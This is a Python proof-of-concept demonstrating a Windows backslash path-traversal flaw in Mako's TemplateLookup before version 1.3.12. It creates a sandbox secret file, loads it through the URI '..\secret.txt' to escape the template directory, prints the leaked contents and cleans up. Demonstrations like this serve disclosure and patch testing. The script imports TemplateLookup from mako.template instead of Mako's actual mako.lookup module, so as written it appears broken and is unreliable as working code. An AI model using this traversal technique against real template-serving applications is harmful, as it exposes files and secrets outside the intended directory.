Vulnerable code sample

import os
from mako.template import TemplateLookup

# This script must be run on Windows with a Mako version prior to 1.3.12.

# 1. Setup a directory structure for the demonstration.
# A 'templates' directory which should be the security boundary.
os.makedirs("templates", exist_ok=True)
# A secret file located *outside* the allowed directory.
with open("secret.txt", "w") as f:
    f.write("This is a sensitive file that should not be accessible.")

# 2. Configure Mako's TemplateLookup to be "jailed" to the 'templates' directory.
lookup = TemplateLookup(directories=['templates'])

# 3. Define the malicious URI.
# On Windows, using a backslash for traversal bypasses the path normalization
# and directory security checks in vulnerable versions of Mako.
malicious_uri = r'..\secret.txt'

try:
    # 4. Attempt to get the template using the malicious URI.
    # In a vulnerable setup, this call will succeed and load 'secret.txt'.
    leaked_template = lookup.get_template(malicious_uri)

    # 5. Render the template, which prints the contents of the secret file.
    print("--- Attempting to read file outside of template directory ---")
    print("Leaked content:")
    print(leaked_template.render())
    print("----------------------------------------------------------")
    print("Vulnerability successfully exploited.")

except Exception as e:
    # In a patched version or on a non-Windows OS, this will fail.
    print(f"Exploit failed or system is not vulnerable. Mako raised an error: {e}")

finally:
    # Cleanup the created files and directory
    if os.path.exists("secret.txt"):
        os.remove("secret.txt")
    if os.path.exists("templates"):
        os.rmdir("templates")